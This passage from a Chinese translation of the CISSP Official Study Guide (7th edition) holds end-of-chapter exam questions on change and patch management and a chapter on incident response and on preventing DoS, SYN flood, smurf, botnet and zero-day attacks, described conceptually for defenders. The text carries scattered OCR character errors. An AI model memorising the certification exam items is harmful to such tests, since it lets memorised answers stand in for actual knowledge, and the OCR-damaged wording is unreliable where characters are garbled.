A. 如果能提高性能， 立即 实施变革
B. 请求更改
C. 为变更创建回滚计划
D. 文档变更
18. 在解决网络问题时， 技术员 意识到该问题能够通过在防火墙上打开一个端口 得到解决。 技
术员打开 了端口， 并检查了 系统的工作状态 。 然而， 网络攻击者访问 了这个端口， 并发起了 一次成
功 的攻击。 怎样才能预防该 问题的发生 ?
A. 补丁管理流程
B. 漏洞管理流程
C. 配置管理流程
D. 变更管理流程
1 9. 以下哪一项不是补丁管理过程的一部分?
A. 评估补丁
B. 测试补丁
c. 部署所有补丁
D. 审计补丁
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488
CISSP 官方学 习指南(第 7 版)
20. 管理员会用什么来检查系统， 攻击者可 以利用 系统的 己知漏洞 ?
A. 版本跟踪
B. 漏洞扫描
c. 安全审计
D. 安全审查
第 17 2主二
写主
事件预防和响应
本章中覆盖的 CISSP 考试大纲包含 :
安全运营
• C. 管理 日 志和监控行为
C. 1 入侵检测和防御
C.2 安全信息和事件管理
C.3 持续监控
C.4 出 口监控(例如， 数据防泄露、 隐写术、 数字水印)
• O. 实施事件管理
0. 1 检测
0.2 响应
0.3 缓解
0.4 报告
0.5 恢复
0.6 纠 正
0.7 经验教训
• H. 操作和维护预防措施
H. 1 防火墙
H.2 入侵检测和防御系统
H.3 白名单/黑名 单
H.4 第三方安全服务
H.5 沙箱
H.6 蜜罐/蜜网
H.7 防恶意软件
CISSP 认证考试的安全运营域包含了与事件管理直接相关的多个 目 标。 有效的事件管理有助于
组织在攻击发生时做出适当的响应来限制攻击范围。 组织实施预防性措施来对抗、 检测和防止攻击，
CISSP 官方学 习指南(第 7 版)
本章涵盖了许多这方面的控制和对策。 日 志记录、 监视和审计提供了 安全控制的保证， 并提供了所
需要的保护 。
1 7.1 管理事件晌应
任何安全程序的主要 目标之一是防止安全事件发生。 然而， π和安全专业人员尽了最大努力，
事件还是会发生。 当它们发生时， 组织必须能够响应以限制或遏制安全事件。 事件响应的主要 目 标
是尽量减少事件对组织的影响 。
1 7.1.1 事件界定
在进入事件响应之前 ， 重要的是要了解对事件的界定。 虽然这看起来很简单， 但你会发现根据
不 同 的背景， 会有不 同 的界定。
事件是任何对组织资产的保密性、完整性或可用性有负面影响的事故。 IT基础设施库第3 版(ITIL
v3)定义事件为 "对于 lT 服务来说的 、 非计划的中断或质量的降低。 " 这些定义涵盖多种直接攻击
形式， 例如 自 然事件， 如周风或地震 ; 以及人为故障， 如不小心割断一条在用 的网络电缆 。
相反， 计算机安全事件(有时被称为安全事件)通常是指攻击结果， 或指对部分用户 来说是恶意
或故意行动的结果。 例如， RFC 2350 " 对计算机安全事件响应的预期值" 定义安全事件和计算机安
全事件为: " 任何破坏某些计算机或网络安全方面的不良事件。 " 美国国家标准与技术研究所(NIST)
专业出版物(SP)800-61 " 计算机安全事件处理指南" 对计算机安全事件的定义是 " 违反或即将威胁
违反计算机安全策略、 可接受的使用策略或标准的安全实践。 " (NIST SP 文档， 包括 SP 800-61 ， 可
从 NIST 专业出版物网址下载: http://csrc.nist.gov/publicationslPubsSPs.html)
在事件响应的背景下， 事件是指计算机安全事件。 往往， 你只会看到事件。 例如， 在安全操作
域的 CISSP 考生信息公告(CIB)中 ， "进行事件管理" 针对的显然是计算机安全事件。
注意 :
在本章 中 ， 任何关于事件的 引用都是指计算机安全事件。 组织处直一些特别事件时 ， 生口天气事
件或 自 然 灾害， 可以使用 其他方法， 如业务连续性计划(可参考第 3 章内 容)或灾难恢复计划(可参考
第 1 8 章 内 容)。
组织通常将计算机安全事件的含义包含在他们的安全策略或事件响应计划中 。 定义通常是一到
两条句子， 还包括安全事件分类及常见事件案例 ， 如下所示:
• 任何网络入侵企图
• 任何拒绝服务攻击企图
• 对任何恶意软件的检测
• 任何未经授权的数据访 问
• 任何违反安全策略的行为
490
第 1 7 章 事件预防和晌应
1 7. 1 .2 事件晌应步骤
有效的事件响应管理分为几个步骤或处理阶段。 图 17.1 显示了 CISSP cæ 中概括的事件响应管
理涉及的 5 个步骤。 重要的是要认识到， 事件响应是正在进行的活动和吸取的经验教训 ， 可用来提
高检测方法或有助于 防止事件重复发生。 下面 的章 节将更深入地描述这些步骤。
富国回国
图 1 7.1 事件响应
注意 :
你可能会发现在不同 文档中， 这些步骤会有所不 同 。 例如， SP 800-6 1 走学 习 更多 关于事件处理
知识的极好资源 ， 但将事件响应生命周期分为 以下 4 个步骤: 1)准备， 2列全测和分析， 3)遏制 、 消 除
和恢复， 4)事后恢复。 然而， 无论文档如何列 出 步骤， 它们都包含了许多相 同 的元素， 并以有效管
理事件响应 为 相 同 目 标。
重要的是要强调， 事件响应不包括对攻击者的反击。 对别人发动攻击往往适得其反并且非法。
如果技术人员能够识别攻击者井发动攻击， 则很可能导致攻击者的攻击升级。 换言之， 攻击者可能
会考虑周期性地发动怨恨攻击。 此外， 很可能攻击者隐藏在一个或多个无辜受害者的背后。 攻击者
经常使用欺骗的方法来隐藏 自 己的身份， 或在僵尸网络上通过僵尸发动攻击。 反击很可能会殃及无
辜的受害 者， 而不是针对 攻击者本身。
1 7. 1 .3 检测
IT 环境包括多种检测潜在事件的方法。 下面的列表列 出 了用于检测潜在事件的许多常用方法，
还包括报告这些事件的方法:
• 当相匹配的事项发生时， 入侵检测和防御系统(将在本章后面描述)会发送警告给管理员 。
• 当检测到恶意软件时， 反恶意软件往往会显示弹出窗口来加 以提示。
• 许多 自 动化工具定期扫描审计日志， 寻找预定义的事件 ， 如使用特殊特权。 当它们检测到
特定的事件时， 通常会向 管理员发送警 告 。
• 最终用户有时会发现不规则 的活动 ， 并联系技术人员或管理员寻求帮助。 当用户报告事件
时 ， 比如无法访 问 网络资源， 会提醒 IT 人员存在潜在的安全事件。
仅仅因 为 IT 专业人员从 自动化工具或用户 投诉那里收到警告 ， 并不能判定安全事件的发生。 入
侵检测和防御系统往往给人发出虚假的报警， 而最终用户容易出现简单的用户错误 。 IT 人员需要调
查这些事件， 以确定它们是否 是真实事件。
许多 町 专家被归类为事件的第一响应者。 他们是第一批到达现场并具有如何区分典型 IT 问题
和安全事件知识的人。 他们类似医疗急救人员 ， 具有突出 的技术和能力， 在事故现场提供医疗援助，
并帮助患者在必要时获得医疗设施。 医疗急救人员有专项培训 ， 以帮助他们确定轻微和重大伤害之
491
CISSP 官方学 习指南(第 7 版)
间的区别。 此外， 当遇到重大伤害时他们知道该怎么做。 同样， IT 专业人员需要专门培训 ， 使得他
们 能够对典型问题进行处理和对安全事件进行升级。
在调查一个事件， 并确定是安全事件后， π 人员转向下一个步骤: 响应。 在许多情况下， 个人
初始调查后进行事件升级 ， 以便其他 IT 专业人士进行响应。
1 7. 1 .4 响应
检测和验证事件后 ， 下一步是响应。 响应程度取决于事件的严重程度。 许多组织有指定的事件
响应团队一一有时被称为计算机事件响应小组(CIRT)或计算1几安全事件响应小组(CSIRT)。 组织通常
不会在小事件中激活该团队， 而在重大的安全事件发生后才激活该团队。 一个正式的事件响应计划
会描述谁会在什么条件下能激活该团队。
团 队成员应该对事件响应和组织的事件响应计划进行培训11。 通常情况下， 团队成员将协助调查
事件、 评估损害、 收集证据、 报告事件和恢复程序。 他们还将参与修复和吸取经验教训 ， 并帮助做
根本原因分析。
组织如果能较快地响应一个事件， 就可以有更好的机会来减少损害。 另一方面， 如果一个事件
持续了几小时或几天， 损害可能会更大 。 例如， 攻击者可能试图访问客户 数据库。 快速的响应可以
防止攻击者获得任何有意义的数据。 然而， 如果让攻击者持续通畅地访问数据库几个小时或几天，
攻击者就有可能会得到整个数据库的副本。
在调查结束后， 管理层可能决定起诉责任人。 正因 为如此， 重要的是要在调查过程中保护所有
的数据作为证据。 第 19 章 "事件与道德规范"， 涵盖事件处理以及在响应背景下支持调查。 如果有
任何起诉的可能性， 团队成员会采取额外的步骤来保护证据。 这保证证据可以在法律草里芋中使用。
注意 :
拉制事件时， 计算机不应该被关闭 。 如果计算机断屯， 临时文件和易 失性随机存取存储器但AM)
中 的数据将丢失。 只要系统保持供屯， 取证专 家可以用 工具检索临 时文件和易 失性内存中 的数据。
然而， 如果有人将电脑关 闭或将电 源拔掉 ， 这些证据就会丢失。
1 7. 1 .5 缓解
缓解措施尝试遏制事件。 有效的事件响应的主要 目标之一是限制事件的影响或范围。 例如， 如
果受感染的计算机通过网卡(NIC)发送数据， 技术人员可 以禁用 网卡或断开网卡连接的网线。 有时候，
包括断开到其他网络的连接以控制问题在单个网络之中。 当 问题被隔离之后 ， 安全人员可以解决它，
而不必担心它会蔓延到网络的其余部分。
492
1 7. 1 .6 报告
报告是指 向组织内部， 同时向组织外部报告事件。 虽然没有必要报告轻微的恶意软件感染事件
给公司 的首席执行官(CEO)， 但高层管理人员确实需要知道严重的安全破坏事件。
2014 年 1 1月24 日 ， 当索尼员工登录到 自 己的 电脑时， 他们看到了一幅布满头骨和来势汹汹、
瘦骨幡阀的手指的怪异的红色图像。 伴随着一个警告 "我们 己经获得了 你所有的内部数据"， 并警
第 1 7 章 事件预防军日晌应
告索尼要满足他们的要求 。 到了当日 1 1 :00， 新闻报道表明， 作为预防措施， 位于洛杉矶的索尼的所
有 电脑被关闭， 但没有通知高级管理人员这些步骤。 第二天， 索尼的一位发言人发表了 一份公开声
明 ， 表示他们正在调查。 第二周， 索尼的首席执行官兼联席主席发布了一个关于公司范围内 的被攻
击警告 。 索尼 的响应表明， 他们 明显有面向高层 管理人员 的报告机制 。
组织往往有法律要求， 对组织以外报告事件 。 大多数国家(和许多较小的司法管辖区， 包括州和
城市)己经制定了监管合规法律来治理安全破坏， 特别适用于保留在信息系统中 的敏感数据。 这些法
律通常包括报告事件的要求， 特别是如果安全漏洞暴露了客户 数据的话。 法律根据地域不同而不同 ，
但都寻求保护个人记录和信息隐私， 以保护消费者的身份， 并建立财务实践和公司治理标准。 每个
组织都有责任知道什么法律适用于自身井遵守这些法律。
许多管辖区具有保护个人身份信息(PII)的法律 。 如果 PII 数据泄露， 组织必须报告。 不 同的法
律有不同 的报告要求， 包括通知受事件影响的个人的要求。 换句话说， 如果针对系统的攻击导致攻
击者获得 PII 信息， 系统的拥有者有责任通知这个攻击以及哪些数据被攻击者访 问 。
针对严重的安全事故， 组织应考虑到报告事件给官方机构。 在美国 ， 这可能意味着告知联邦调
查局σBI)、 区检察长办公室和(或)1'1'1立及当地执法机构。 在欧洲， 组织可以报告事件给国际刑事警
察组织(剧TERPOL)或基于事件和地区 的其他一些机构。 这些机构可能协助调查， 他们收集的数据
可能会帮助防止针对其他组织的 未来攻击。
许多事件没有被报道， 因为它们不被确认为事件 。 这往往是专业知识不够的结果。 实际的解决
办法是确保人员有相关的培训11 。 培训应该教会个人如何识别事件， 在最初的反应中做什么 ， 以及如
何报告事件。
1 7. 1 .7 恢复
调查人员从系统收集所有适当的证据后， 下一步是恢复系统或将系统恢复到完全正常的状态。
对小事件而言这非常简单， 可能只需要重新启动 。 然而， 重大事件可能需要完全重建系统。 重建系
统包括从最近的备份中 恢复所有的数据。
当受损 的系统重建时， 重要的是要确保配置正确， 至少和事件发生前一样是安全的。 如果组织
具备有效的配置管理和变更管理程序 ， 这些程序将提供必要的文档， 以确保重建的系统配置正确。
有些事情要做双重检查， 包括访问控制列表(ACL)， 确保不必要的服务和协议被禁用或删除， 安装
所有最新的补丁， 还有用 户 账户 的默认值被修改。
注意 :
在某些情况下 ， 攻击者可能在攻击过程中 ， 在系 统上安装了 恶意代码。 如果没有做详细检查，
这可能无法觉察。 从头开始完全重建系统是事件恢复的最安全方法。 如果调查人员 怀疑攻击者可能
在 系 统上修改 了 代码 ， 重建 系 统可 能是最好的选择。
1 7. 1 .8 修复
在修复阶段， 人员观察事件并确定什么原 因导致事件发生， 然后实施措施以防再次发生 ， 这包
括执行根本原因分析。
执行根本原因分析是为了确定什么原因导致事件发生。 例如， 如果攻击者通过网站成功访问 了
493
CISSP 官方学 习指南(第 7 版)
一个数据库， 人员将检查系统所有元素以确定是什么让攻击者获得成功。 如果根本原因分析确定一
个漏洞 可 以缓解， 这时建议进行变更。
可能是 Web 服务器没有安装最新的补丁， 允许攻击者获得服务器的远程控制。 补救措施可能包
括实施补丁管理手里字。 也可能是网站应用手E芋没有使用足够的输入验证技术， 允许进行成功的 SQL
注入攻击。 补救将涉及更新应用程序， 包括输入验证。 还可能是数据库位于 Web 服务器而不是后端
数据库服务器。 修 复意 味着将数据库移到位于另一个防火墙后面的服务器上。
1 7. 1 .9 经验教训
在吸取经验教训阶段， 人们检查事件和响应， 看看有没有任何经验教训可以吸收。 事件响应小
组将参与这个阶段 ， 但是其他 了解该事件的员工 也将参与 。
在检查事件响应时， 人们可 以寻找改进响应的任何方面。 例如， 如果响应团队需要很长时间来
遏制事件， 应确定原因 。 可能是因为人们没有得到足够的培训 ， 没有足够的知识和技能来有效响应。
当收到第一个警告时， 他们可能没有认识到这是安全事件， 允许攻击持续的时间 比需要的更长。 第
一响应者可能没有认识到需要保护证据 ， 并在响应过程中不 经意地破坏了 证据 。
记住， 这个阶段的输出可以反馈到事件管理的检测阶段。 例如， 管理员可能会意识到 ， 攻击未
被发现， 需 要增加检测能力并建议对入侵检测系 统进行升级。
完成经验教训审查后 ， 通常需要事件响应团队编写一份报告。 根据发现， 事件响应团队可能会
建议程序变更， 增加安全控制， 甚至改变策略。 管理层将决定哪些建议予以实施， 并为他们 因拒绝
建议而遗留 的风险负责 。
@ 真实场景
摆权事件晌应给用户
在组织 中 ， 计算机入侵响应的职责需要扩展到用 户 。 针对每台 电脑应有一个检查表， 以鉴别 恶
意软件感染的常见症状。 如果用 户 怀疑 自 己的电脑感染了 病毒， 检查表将指导他们断开网 卡和联系
服务台报告该 问 题。 通过断开 网卡， 可以迅速限制恶意软件 ， 并 阻止进一步的传播。
但这不可能在所有组织 中得以 实施。 在该案例 中 ， 用户是一个非常庞大的 网络运营中 心的一部
分， 他们参与 了 某种形式的计算机支持。 换言之， 他们 已不是典型 的 最终用 户 ， 而是大量的技术
专 家 。
494
1 7.2 部署预防措施
理想情况下， 组织完全可以通过实施预防措施避免事故。 本节介绍许多用于预防常见攻击的安
全措施。 你可能会注意到术语 "预防" 和 "防御" 都会使用 。 虽然大多数文档 目 前只使用 "预防 "，
但 CIB 包括这两种用法。 例如， 第 1 知识域提到了预防性控制 。 本章覆盖了 第 7 知识域的 目 标和第
7 知识域提到的预防措施 。 为 了 简单起见 ， 我们将在本章 中使用 " 预防 "， 除了当引用 CIB 时 。
第 1 7 章 事件预防和晌应
1 7.2.1 基本的预防措施
虽然没有可以防止所有攻击的单一步骤， 但可以采取一些能抵御大多数典型攻击的大有帮助的
步骤。 这些步骤中的大多数在本书的其他领域有更深入描述， 但在本节中也被作为介绍列出来了 。
保持系统和应用手里芋最新。 供应商定期发布补丁以纠正错误和安全漏洞， 但这些补丁需要被部
署才会有效。 补丁管理(见第 1 6 章 " 管理安全运营 " )能确保在系统和应用程序上安装最新的相关
补丁。
删除或禁用不必要的服务和协议。 如果系统不需要某个服务或协议， 它就不应该运行 。 攻击者
不可能利用没有在系统上运行的服务或协议中的漏洞。 作为极端对比， 想象一台 Web 服务器正在运
行所有可用 的服务和协议 ， 它很容易受到任何这些服务和协议的潜在攻击。
使用入侵检测和防御系统。 入侵检测和防御系统观察活动， 试图检测攻击， 并提供警报。 它们
往往可 以阻止或停止攻击。 这些系统在本章后 面会有深入介绍。
使用最新的反恶意软件。 第 2 1 章 "恶意代码和应用攻击" 涵盖各种类型的恶意代码， 如病毒和
蠕虫。 主要对策是反恶意软件 ， 在本章后面会覆盖到 。
使用防火墙。 防火墙可以阻止许多不同类型的攻击。 基于网络的防火墙保护整个网络， 基于主
机的防火墙保护个人系统。 第 1 1章"安全网络架构和保护网络组件" 包括在网络中使用防火墙的信
息 ， 井且本章包括描述防火墙如何阻止攻击 的 内容。
注意 :
为 了 防止攻击者破坏系统安全性， 应确保系统及时更新补丁 ， 并正确配直。 防火墙、 入侵检测
和防御 系 统往往能帮助检测并收集证据 ， 并起诉破坏 系 统安全性的攻击者。
1 7.2.2 理解攻击
安全专业人员需要了解常见的攻击方法， 采取有效措施预防攻击， 在攻击发生时能够识别出来，
并采取适当方法做出响应 。 本节对一些常见的攻击方法进行了概述。 下面的部分讨论了许多用于阻
止这些或其他攻击的预防措施。
注意 :
本书较为全面地概述了不同 的攻击方法， 并尽量避免 了 对某一特定方法的重复赘述。 除本章外，
在其他章你也会了解到不同 的攻击类型 ， 例如， 第 14章 "控制和监拉访问" 讨论了 一些与访问控制
相关的攻击方法; 第 12 章 "安全通信和网络攻击" 描述了 不 同 类型 的基于 网络的攻击; 第 21 章描
述 了 几种 与 恶意代码和应 用 程序相 关的不 同 类型 的攻击方法。
1 . 拒绝服务攻击
拒绝服务(DoS)攻击能够阻止系统处理或响应来 自 资源和客体的合法数据或请求。 拒绝服务攻击
的最常见形式是向服务器传输使其无法全部处理的过多数据包。 其他拒绝服务攻击形式关注于对操
作系统、 服务或应用程序中 己知故障或漏洞的利用 。 利用系统的故障进行攻击往往会导致系统崩溃
或 1 00%的 CPU 使用率 。 无论实际攻击的形式如何， 任何造成受害系统无法执行正常活动的攻击都
可 以被认为是拒绝服务攻击。 拒绝服务攻击会导致系统崩溃、 系统重启 、 数据损坏、 服务被阻断等
495
496
CISSP 官方学 习指南(第 7 版)
后果。
注意 :
对于任何一种面向王联网 的系统， 拒绝服务。)oS)攻击都很常见。 换句话说， 如果攻击者可以通
过互联网访问一个系统， 它就很容易受到 DoS 攻击。 相 比之下 ， 对于不直接访问互联网 的 内部系统
来说， DoS 攻击并不常见。
另 一种形式的 DoS 攻击是分布式拒绝服务(DDoS)攻击。 DDoS 攻击发生时， 多个系统在同一时
间攻击单个系统。 例如， 一组攻击者可以发动针对同一个系统的协同攻击。 然而今天， 攻击者会将
几个系统联合起来， 并将其作为平台 ， 以便对想要攻击的系统采取行动。 攻击者通常使用僵尸 网络(在
本章稍后描述)发动 DDoS 攻击。
一种变体的 DoS 形式被称为分布式反射拒绝服务(DRDoS)攻击， 它利用反射方式发起攻击。 换
句话说， 它不是直接攻击受害者， 而是代替操纵流量或网络服务， 以使攻击反射回来自其他来源的
受害者。域名服务ρNS)投毒攻击(第 1 2 章中有介绍)和 smurf攻击(本章后面有介绍)就是这样的例子。
SYN 泛洪攻击
SYN 泛洪攻击是一种常见的 DoS 攻击， 它通过破坏 TCPIIP 启动通信会话的三步握手标准来实
施攻击。 通常， 客户端向服务器发出 SYN(同步)数据包， 服务器向客户端发送 SYN/ACK(同步/应答)
响应数据包， 随后客户端 向服务器回应 ACK(.应答)数据包。 这样的三步握手建立起了两个系统间的
一个用于 数据传输的会话 ， 这个会话直到 出 现 FIN(结束)或 RST(重置)数据包才会断开 。
然而， 在 SYN 泛洪攻击发生时 ， 攻击者发送多个 SYN 数据包但 ACK 不完全。 这类似于一个
喜欢开玩笑的人伸出手去握手， 但是当其他人做出 回应， 伸 出手准备握手时， 那人却将于缩了 回来，
留 下对方的手悬在 半空中。
图 1 7.2 为我们展示了 一个例子。 在这个例子中 ， 攻击者 己发出三个 SYN 数据包且服务器对每
个都做出 了 回应。 对于这些请求， 服务器保留系统资源等待系统正确应答(ACK)。 服务器通常在等
待 ACK 三分钟后放弃尝试， 但管理员可 以调整这个时间。
SYN
SYN/ACK
SYN
SYN/ACK
SYN
SYN/ACK
攻击者 受害者
图 1 7.2 SYN 泛洪攻击
三个不完整的会话并不会引 发 问题。 但是， 攻击者会给受害者发送数百11l(;数千个 SYN 数据包。
每一个不完整的会话都会消耗资源， 然后， 在某一点， 受害者变得不堪重负， 无法回应合法请求。
攻击可 以消 耗可用 的 内存和处理能力 ， 导致受害系统变慢甚至崩溃 。
对于攻击者来说伪造源地址很简单， 每个 SYN 数据包都具有不同 的源地址。 正是因为这样，
阻止攻击者使用源 IP 地址很困难。 攻击者还会协调 ， 对同一受害者同时发起攻击， 这就是 DDoS
第 1 7 章 事件预防和晌应
攻击。 限制允许开放的会话的数量并不能有效加 以防御， 因 为一旦系统达到了 限制， 就会阻止合法
用户 的会话请求。 增加服务器上所允许会话的数量 ， 会导致攻击消耗更多的系统资源， 服务器的 内
存和处理能力也是有限的。
使用 SYN Cookie 是阻断这类攻击的一种方法。 这些小记录消耗小部分系统资源。 当系统接
收到 ACK 应答时， 检查 SYN Cookie 并建立会话。 防火墙通常能够通过检测和防御系统检测 SYN
攻击。
阻断这种攻击的另一种方法是降低 TCP 重置攻击， 服务器通常会等待一段时间 以接收 ACK 应
答。 默认时 间是三分钟， 但在正常操作中合法系统发送 ACK 应答并不需要这么长时间。 通过减少
时间， 半开放的会话在系统 内存中 的刷新会更快。
TCP 重置攻击
另 一种通过操纵 TCP会话的攻击方式叫作 TCP 重直攻击， 会话通常由 F时(完成)或 RST(复位)
数据包终止。 攻击者可以在 RST 包中伪造源 E 地址并断开活动会话。 两个系统之间 则需要重新建
立会话。 这对系统来说是一个很大的威胁， 系统之间 需要持续 的会话以保持数据。 当 会话重建时 ，
系 统就需要重建数据 ， 所以这不仅仅是来回友送三个数据包以建立会话 的 问题。
2. smurf 和 fraggle 攻击
smurf和 fi'aggle 攻击都属于 DoS 攻击。 smurf攻击是另一种类型的泛洪攻击， 但使用 网络控制
消息协议(ICMP)回应数据包而不是 TCP SYN 数据包来攻击其他系统。 更具体地说， 是使用受害者
的 IP 地址作为源 IP 地址的伪造广播 ping。
pmg 使用 ICMP 检查与远程系统的连接。 通常情况下， pillg 发送一个回包请求到单一的系统，
该系统用 回包做出响应。 然而， 在 smurf攻击中 ， 攻击者将回应请求作为广播发给网上的所有系统，
并伪造 E 地址。 所有系统通过响应回包到伪 E 地址做出 回应， 这样就阻碍 了受害者网络的流畅性。
sm町f攻击利用放大网络(也称为 smmf放大器)， 通过路由器发送定向广播。 然后， 放大网络上
的所有系统对受害者发起攻击。 然而， 在 1 999 年发行的 RFC 2644 改变了路由器的标准 ， 路由器不
能转发定向广播。 当管理员使用 盯C 264 正确配置路由器之后 ， 网络便不能被放大 。 这给 smurf攻
击单一网络带来了限制。 此外 ， 在 防火墙上禁用 ICMP 的情况越来越普遍， 甚至许多服务器能
够防止利用 ICMP 的任何类型的攻击。 在使用标准安全的措施之后， 现如今， smurf攻击已经很少
见 了 。
企aggle 攻击类似于 smurf攻击。 然而， fraggle 攻击使用 UDP 端口 7 和 1 9 而不是 ICMP。 企aggle
攻击能够使用伪造的 E 地址将 UDP 数据包发送给受害者。 所有的系统就都会将其转发给受害者，
这类似于 smurf攻击。
3. ping 泛洪攻击
pillg 泛洪攻击通过给受害者发送洪水般的请求来达到攻击 目 的， 在 DDoS 攻击中给僵尸 网络发
送僵尸信息的效果很明显。 如果成千上万的系统同时给一个系统发送 ping 请求， 该系统将在试图 回
应 ping 请求时发生混乱。 受害者便没有时间来回应合法请求。 今天常见的一种处理方式就是阻断
ICMP 流量。 主动入侵检测系统能检测到 pillg 泛洪攻击， 然后通过修改系统环境来阻断 ICMP流量。
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CISSP 官方学 习指南(第 7 版)
4. 僵尸 网络
今天僵尸 网络相当普遍。 僵尸网络中 的计算机就像机器人(通常称为僵尸)， 并将会按照攻击者
的要求执行命令。 僵尸牧人通常是指通过一个或多个命令控制所有计算机和服务器的罪犯。 僵尸牧
人在服务器中输入命令， 僵尸定期执行命令并控制服务器接收指令。 僵尸牧人通常使用僵尸 网络中
的计算机来发起大范 围攻击 ， 发送垃圾邮件和钓鱼邮件 ， 或向其他罪犯租用僵尸 网络。
计算机通常在被一些恶意代码或恶意软件感染后 ， 加入僵尸 网络。 计算机一旦被感染， 就往往
能够让僵尸牧人远程访问系统或使得额外的恶意软件得以安装。 在某些情况下， 僵尸安装恶意软件，
这些软件能够为攻击者搜索他们需要的密码或信息。 有时， 这些恶意软件含有键盘记录器， 能够记
录用 户 击键信息。
僵尸 网络感染 4 万台计算机很常见， 并且在过去， 僵尸 网络控制数以百万计的系统也很常见。
有些僵尸牧人控制 多 个僵尸 网络。
防止计算机加入僵尸 网络最好的办法， 就是确保反恶意软件的正常运行和定期更新。 因为恶意
软件往往利用操作系统和应用手里芋未打补丁的漏洞， 所以保持系统定期更新补丁， 有助于对系统的
保护 。
许多恶意软件基于浏览器感染系统， 用户在上网时， 系统就会被感染。 保持浏览器及插件的更
新是极其重要的。 此外， 大多数的浏览器安全性较强， 这些功能不应被禁用 。 例如， 大多数浏览器
支持 Web 应用程序沙箱隔离， 但一些浏览器能够禁用该功能。 禁用可能会改善浏览器的性能， 但同
时 也具有较大风险。
@ 真实场景
近期的一些僵尸 网络
不法分子利用 Gameover Zeus 僵尸 网络(GOZ)收集财务系统的凭证并进行银行诈骗。 他们还用
GOZ 来分发 CryptoLocker 勒索软件。 C可ptoL∞ker 加 密用 户 数据， 然后要求用 户 支付一定金额以获
得解密密钥。 在 2014年6 月 份， GOZ 感染 了 50 万到 100 万个 系 统。 Operation Tovar(几个执法机构
之间 的 国 际合作机构)能够暂时切断 GOZ 命令和控制服务器之间 的通信线路。 然而， 犯罪分子 已经
开始使用 不 同 的 战术 ， 且 GOZ 感染的数量还在不 断增长。
Sim也 是另 一个僵尸 网络， 罪犯能够用 它窃取银行认证并安装额外的恶意软件。 在 2015 年 4 月 ，
一名 来自国 际联合会的执法人员 将其破解时， Simda 已经控制 了 超过 770 000 台 电脑。 这是个相对
较新的僵 尸 网 络， 但在 6 个月 中 ， 每个月 感染 了 约 1 28 000 台新电脑 。
498
Esthost 僵尸 网络(也称为 DNSChanger)感染 了 约 400 万 台计算机。 它操纵 DNS 设直以使用僵尸
牧人控制的 DNS 服务器， 还操纵广告。 该僵尸 网络造成了至少 1400 万美元的非法支付， 并阻止用
户 更新反恶意软件或操作系统。 在这种情况下， 无法史新 系统是很严 重的 问题， 但许多 用 户 都忽略
了 。 执法人员 在 201 1 年手工破解该 网 络。
这些都是一些著名 的 大型僵尸 网络， 但这个名单肯定是不完整的 。 没有人知道有多少小型僵尸
网 络正在运行， 但也有控制着 几万台主机的较为 活跃的僵尸 网 络清单。
第 1 7 章 事件预防和响应
5. 死亡 ping
死亡 ping 攻击采用一个超大的 plllg 数据包。 ping 数据包通常是 32 或 64 字节， 但不同 的操作
系统可以使用 其他的大小 。 死亡 ping 攻击将 pmg 数据包的大小改到超过 64KB， 这比许多系统可以
处理的大小都要大。 当系统收到的 pmg 数据包大于 64KB 时， 就会出现问题。 在某些情况下 ， 系统
就会崩愤。 在其他情况下， 将导致缓冲区溢出错误。 现今， 死亡 pmg 攻击很少能够成功， 因为补丁
和更新改善 了系统的脆弱性。
注意 :
尽管现今死亡 ping 攻击 已经构不成威胁， 但才良多 其他类型的攻击也能够造成缓冲 区溢出错误(在
第 2 1 章中讨论)。 当 供应 商发现可能导致缓冲 区溢出 的牵制吴时， 他们会发布修补程序来修复它们 。
对任何缓冲 区溢出攻击的最好的保护手段之一是保持系 统更新 当 前最新补丁。 此外， 生产 系统不应
该 包括未测试的代码 ， 也不能九许 系 统或根级权限的使用 。
6. 泪滴攻击
在泪滴攻击中 ， 攻击者阻碍传输， 系统无法将数据包一起发回 。 大数据包通常被分成较小的碎
片 ， 当它们被发送到网络上时， 接收系统把数据包碎片还原到原来的状态。 然而， 泪滴以一种系统
无法将文件还原在一起的方式分割数据包。 旧 的系统无法处理这种情况， 并且会崩渍， 但补丁解决
了 这个问题。 目 前的系统不容易受到泪滴攻击， 但需要强调保持系统更新的重要性。 此外， 入侵检
测系统可 以检查畸形数据包。
7. land 攻击
1and 攻击是指攻击者使用受害者 的 E 地址作为源 E 地址和目的 E 地址， 并发送伪造的 SYN
数据包给受害者。 这使系统不断地对 自 己做出应答， 并最终可能会冻结、 崩溃或重新启动。 这种攻
击在 1997 年被第一次发现， 它几次攻击不同的端口。 保持系统更新并使用过滤和检测相同的源和 目
的 IP 地址 的流量， 有助于防止 1and 攻击的发生 。
8. 零日攻击
零 日攻击是指利用他人未知的系统漏洞对系统发起攻击。 然而， 安全专业人员在不同 的情况下
使用该术语， 并且在本书中也有一些小差异 。 这里有一些例子:
攻击者首先发现了一个漏洞 当攻击者发现一个漏洞时， 他可 以很容易地利用它， 因为攻击者
是唯一意识到漏洞的人。 在这一点上， 供应商是不知惰的， 所 以并没有开发或发布补丁。 这是零日
漏洞的常见定义。
供应商了解漏洞的存在 供应商了解漏洞的存在， 他们会对威胁进行评估， 并优先发布补丁。
软件补丁很复杂， 需要大量测试， 以确保补丁不会引起其他问题。 供应商可能会在几天内开发和发
布高危漏洞补丁， 而他们可能需要几个月 的时间来开发和发布小漏洞补丁。 在这个时候， 利用该漏
洞的攻击通常被称为 零 日 漏洞 ， 因 为公众不知道 该漏洞 。
供应商发布补丁 一旦补丁被开发和发布， 修补过的系统就不再容易受到攻击。 然而， 在安装
补丁之前， 组织往往需要时间来评估和测试， 从而导致在供应商发布补丁和管理员应用补丁之间有
一定的时间差。 微软通常在每个月 的第二个星期二发布补丁， 通常被称为 "补丁星期二"， 攻击者往
往使用逆 向工程来破解补丁， 然后在第二天利用它们 ， 通常被称为 "漏洞星期三"。 一些人把在供应
499
CISSP 官方学 习指南(第 7 版)
商发布补丁第二天进行攻击的行为称为零 日 攻击。 然而， 这种用法并不常见。 相反， 许多安全专家
认为这是对未安装补丁系统的攻击。
注意 :
如果组织没有一个有效的补丁管理系统， 他们的 系统就很容易受到 己知漏洞的威胁。 如果在供
应商发布补丁之后的几个星期或几个月 后发生 了 系 统攻击， 这不叫做零日 漏洞。 相反， 这是对未安
装补丁 系 统的 攻击 。
用于保护系统免受零日 漏洞的方法包括许多基本的预防措施。 确保系统不运行不需要的服务和
协议可以减少系统的攻击面， 使基于网络和基于主机的防火墙能够限制潜在的恶意流量， 并使用入
侵检测和防御系统检测和阻止潜在的攻击。 此外， 蜜罐和填充单元使得管理员有机会观察攻击并可
